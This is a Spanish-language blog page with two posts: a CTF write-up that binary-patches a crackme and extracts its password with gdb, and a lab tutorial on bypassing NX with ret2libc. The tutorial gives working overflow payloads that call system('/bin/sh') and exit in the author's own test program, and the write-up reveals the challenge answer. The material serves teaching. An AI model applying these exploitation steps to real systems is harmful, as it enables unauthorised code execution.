Una vez sustituido el patrón de la llamada a check por NOPs guardamos el nuevo binario y deberíamos ser capaces de ejecutarlo y depurarlo con gdb sin las molestas interrupciones de la rutina antidebuging. En este punto tocaría investigar un poco la rutina balioztau (comentada en la entrada previa). Basta con localizar el lugar donde compara la contraseña con nuestro valor, aunque no se comprenda el funcionamiento de la rutina esto es evidente:

0x08048250 <balioztau+64>: cmp dl,al

Con un poco de la magia de gdb podemos poner un breakpoint en ese momento y que se nos muestre el valor de los registros cada vez que se detenga ahí. Veremos qué pasa:

(gdb) display/c $eax
(gdb) display/c $edx
(gdb) br *0x08048250
Punto de interrupción 1 at 0x8048250
(gdb) run
Starting program: /home/adrian/Escritorio/gipuzkoa encounter/tu

 [Gipuzkoa Encounter 2010 - Hack It!]

 Passw0rd: passworderroneo

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 116 't'
1: /c $eax = 112 'p'
(gdb) c
Continuando.
 #EPIC FAIL

Program exited with code 014.

El programa se ha detenido en la comparación, y ha probado si la “p” que hemos introducido es igual a “t”. Esa “t” es, por lo tanto, la primera letra de la contraseña que buscamos. Si le damos a continuar el programa finaliza, ya que son diferentes y no sigue comprobando el resto de la cadena. Podemos repetir el proceso, introduciendo un password que comience con t, y descubriremos la segunda letra de la contraseña. Si repetimos esto el número suficiente de veces tendremos la contraseña correcta. Sin embargo eso es un poco tedioso. Podemos volver a parchear el binario para que nos sea más fácil encontrar lo que buscamos. La instrucción culpable de que el programa finalice cuando encuentra la primera letra incorrecta es este salto condicional situado justo tras el cmp anterior:

adrian@Andromeda:~/Escritorio/gipuzkoa encounter$ objdump -M intel -z -d tolosa2010_unix | grep -i 8048252
 8048252:    74 09         je     804825d <balioztau+0x4d>

¿Cómo cambiar un je (salto si igual) por un jmp (salto incondicional) y mantener el offset correcto? Conociendo un poco las instrucciones de salto, el primer byte (0×74 en este caso) indica qué instrucción es (qué tipo de salto) y el segundo byte y siguientes (0×09 en este caso) indica el offset del salto. Por lo tanto podemos buscar con ghex nuestra secuencia de salto (7409) y sustituirla por un salto incondicional con offset 0×09. En el siguiente código de prueba podemos ver que el salto incondicional ensambla al siguiente hexadecimal:

adrian@Andromeda:~/Escritorio/gipuzkoa encounter$ cat jmp.S
BITS 32

jmp short aqui
nop
nop
nop
nop
nop
nop
nop
nop
nop
aqui:
nop
nop
adrian@Andromeda:~/Escritorio/gipuzkoa encounter$ ndisasm jmp -u
00000000  EB09              jmp short 0xb
00000002  90                nop
00000003  90                nop
00000004  90                nop
00000005  90                nop
00000006  90                nop
00000007  90                nop
00000008  90                nop
00000009  90                nop
0000000A  90                nop
0000000B  90                nop
0000000C  90                nop

Así que volvemos a nuestro editor hexadecimal, buscamos la secuencia 7409 y nos damos cuenta de que tenemos varias apariciones. Por lo tanto lo mejor es que busquemos nuestro salto y la instrucción anterior o siguiente:

adrian@Andromeda:~/Escritorio/gipuzkoa encounter$ objdump -M intel -z -d tolosa2010_unix | grep -i 8048252 -B 1
8048250:    38 c2                    cmp    dl,al
8048252:    74 09                    je     804825d <balioztau+0x4d>

Ahora sí, si buscamos 38C27409 encontramos una única aparición que se corresponde a nuestro salto, y puesto que el salto incondicional ensambla a EB (con offset 09), sustituiremos únicamente el 74 (je) por nuestro EB (jmp) y guardaremos. Ahora, tanto si la contraseña va coincidiendo como si no, seguirá comprobando toda la cadena (y podremos ver la contraseña completa):

adrian@Andromeda:~/Escritorio/gipuzkoa encounter$ gdb -q tu2
Leyendo símbolos desde /home/adrian/Escritorio/gipuzkoa encounter/tolosa2010_unix...hecho.
(gdb) br *0x8048250
Punto de interrupción 1 at 0x8048250
(gdb) display/c $eax
(gdb) display/c $edx
(gdb) run
Starting program: /home/adrian/Escritorio/gipuzkoa encounter/tolosa2010_unix

 [Gipuzkoa Encounter 2010 - Hack It!]

 Passw0rd: estapasswordnoes

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 116 't'
1: /c $eax = 101 'e'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 48 '0'
1: /c $eax = 115 's'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 108 'l'
1: /c $eax = 116 't'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 48 '0'
1: /c $eax = 97 'a'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 115 's'
1: /c $eax = 112 'p'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 64 '@'
1: /c $eax = 97 'a'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 104 'h'
1: /c $eax = 115 's'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 52 '4'
1: /c $eax = 115 's'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 99 'c'
1: /c $eax = 119 'w'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 107 'k'
1: /c $eax = 111 'o'
(gdb) c
Continuando.

Breakpoint 1, 0x08048250 in balioztau ()
2: /c $edx = 0 '\000'
1: /c $eax = 114 'r'

¡Ya la tenemos! Cogemos las letras de edx, las ponemos en orden y obtenemos la password: “t0l0s@h4ck“. Comprobamos que es correcta, aunque ya lo sepamos :P .


adrian@Andromeda:~/Escritorio/gipuzkoa encounter$ ./tolosa2010_unix

[Gipuzkoa Encounter 2010 - Hack It!]

Passw0rd: t0l0s@h4ck

Success!

¡No os olvidéis de comprobarlo contra el binario original! Si lo probáis contra el segundo binario dará igual qué password introduzcais ya que siempre dirá “Success!”. Espero que esta solución haya ilustrado otra manera de afrontar el problema y que por el camino se haya aprendido algo acerca del ensamblado de los saltos y de binary patching. Seguro que hay más soluciones posibles, así que si alguien tiene alguna idea más, o alguna duda, puede dejar un comentario :)

Categorías:Reverse, wargame Etiquetas: ,

Exploitation: Evadiendo NX

En esta entrada vamos a explicar un método para saltarnos la protección NX en Linux, aunque la técnica también se utiliza en Windows de la misma manera.

En la mayor parte de los casos, los programas no necesitan ejecutar código en la pila, por lo que una protección evidente contra los exploits es impedir la ejecución del contenido de la pila. Para ello se utiliza una facilidad proporcionada por la CPU denominada NX (Non Executable Stack) que permite controlar los permisos de ejecución de cada página. Este tipo de protección está disponible en el kernel de Linux para versiones superiores al 2.6.8.

Con esta protección, aunque explotemos un BoF no podremos colocar nuestro shellcode en la pila (recordad que las variables de entorno también están en la pila). O mejor dicho, podremos colocarlo ahí, pero no llegará a ejecutarse. Sin embargo, enfrentarse a esta protección aislada (sin ASLR o SSP) no es difícil. Hasta ahora, hemos compilado los ejemplos con -z execstack para permitir explícitamente la ejecución del contenido de la pila. Para hacer esta demostración compilaremos nuestro stack overflow de siempre sin esta opción (pero mantendremos ASLR desactivado al igual que SSP).


adrian@orion-virt:~/exploiting$ gcc -fno-stack-protector -o sovf stack_overflow.c
adrian@orion-virt:~/exploiting$ readelf -l sovf | grep -i stack
 GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

La pila tiene permisos de lectura y escritura (RW) pero no de ejecución (E). Por lo tanto cuando sobreescribamos el EIP y trate de acceder a las instrucciones de nuestra shellcode en la pila, se producirá un fallo de segmentación.


adrian@orion-virt:~/exploiting$ gcc -fno-stack-protector -o sovf stack_overflow.c
adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6dd
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xdd\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff354
Bienvenido al sistema, ������������
Segmentation fault (core dumped)
adrian@orion-virt:~/exploiting$ gcc -fno-stack-protector -z execstack -o sovf stack_overflow.c
adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6dd
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xdd\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff354
Bienvenido al sistema, ����������
$

Ret2libc

Está bien, no podemos ejecutar código situado en la pila, pero podemos ejecutar código del propio programa, o mejor aún, de las librerías que incluye. ¿Y qué librería está incluida en todos los binarios? Exacto, libc. Además, libc tiene un serie de funciones más que interesantes, como por ejemplo system(), lo que nos permitirá ejecutar una shell. El primer paso, por supuesto, es localizar la dirección de las funciones que queremos ejecutar (en este caso system):


adrian@orion-virt:~/exploiting/nx$ cat sys.c
int main(void){
 system();
}
adrian@orion-virt:~/exploiting/nx$ gdb -q sys
Reading symbols from /home/adrian/exploiting/nx/sys...done.
(gdb) br 2
Breakpoint 1 at 0x80483ea: file sys.c, line 2.
(gdb) run
Starting program: /home/adrian/exploiting/nx/sys
Breakpoint 1, main () at sys.c:2
2        system();
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb17a0 <system>
(gdb) quit

Con la dirección de system conocida y fija (sin ASLR no cambia) podemos redireccionar el flujo de ejecución del programa hacia ella y pasarle como argumento lo que queramos ejecutar, por ejemplo “/bin/sh“. Para ello necesitamos construir en la pila una estructura como la siguiente:

[ Dirección system | Dirección de retorno | Argumento 1 | ... | Arg N]

La dirección de retorno corresponde a la posición a la que volverá la ejecución cuando system() finalice. No es imprescindible para obtener nuestra shell, pero si hay basura en esa posición, cuando finalicemos la shell trataremos de ejecutar algo impredecible y lo más probable es que obtengamos un fallo de segmentación. En las pruebas puede dar igual, pero en un entorno real tal vez querríamos que el programa original siguiera su curso o que al menos finalizase de manera correcta. Colocaremos el argumento para system (“/bin/sh“) en una variable de entorno, y obtendremos su dirección para pasarla como parámetro en la pila:

adrian@orion-virt:~/exploiting$ export SH="/bin/sh"
adrian@orion-virt:~/exploiting$ ./getenvaddr SH ./sovf
SH will be at 0xbfffff57

Es posible exportar como variable de entorno “             /bin/sh”, ya que esos espacios nos servirán a modo de colchón de NOPs (nop sled) por si la dirección de la cadena no ha sido calculada con precisión.

adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "AAAA"x30 . "\xa0\x17\xeb\xb7ABCD\x57\xff\xff\xbf"')
DEBUG: name_buffer localizado en 0xbffffbe4
<p style="text-align: left;">Bienvenido al sistema, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AA?
$ id
uid=1000(adrian) gid=1000(adrian) groups=4(adm),20(dialout),24(cdrom),46(plugdev),104(lpadmin),115(admin),120(sambashare),1000(adrian)
$ exit
Violación de segmento (core dumped)

Como podemos ver ha funcionado, y al salir de la shell ha dado un fallo de segmentación. Si quisiéramos salir de manera correcta, podríamos buscar la dirección de la función exit en libc y hacer que retorne allí tras ejecutar nuestra shell. Si queremos pasarle un parámetro a la función exit, el layout que debemos conseguir en la pila es el siguiente:

[ Dir system | Dir exit | Retorno tras exit y 1er param system | 1er param exit]

adrian@orion-virt:~/exploiting$ gdb -q ex
(gdb) br 2
Breakpoint 1 at 0x80483b5: file ex.c, line 2.
(gdb) run
Starting program: /tmp/ex

Breakpoint 1, main () at ex.c:2
2        exit(0);
(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7ea6a30 <exit>
(gdb) quit
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "AAAA"x30 . "\xa0\x17\xeb\xb7\x30\x6a\xea\xb7\x57\xff\xff\xbf\x01"')
DEBUG: name_buffer localizado en 0xbffffbe4
Bienvenido al sistema, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AA?
$ exit
adrian@orion-virt:~/exploiting$ echo $?
1

Funciona :) Sin embargo, debido a la estructura de la pila, es imposible encadenar más de dos funciones seguidas con esta técnica en situaciones normales. Para eso existe otra técnica relativamente reciente conocida como Return Oriented Programming (ROP) que quizá tratemos más adelante. Como conclusión resaltar lo evidente, si existe randomización de memoria (incluyendo las librerías) no nos sería posible localizar la dirección de system ya que variaría con cada ejecución.

Categorías:exploiting, hacking Etiquetas: , , ,
Seguir

Get every new post delivered to your Inbox.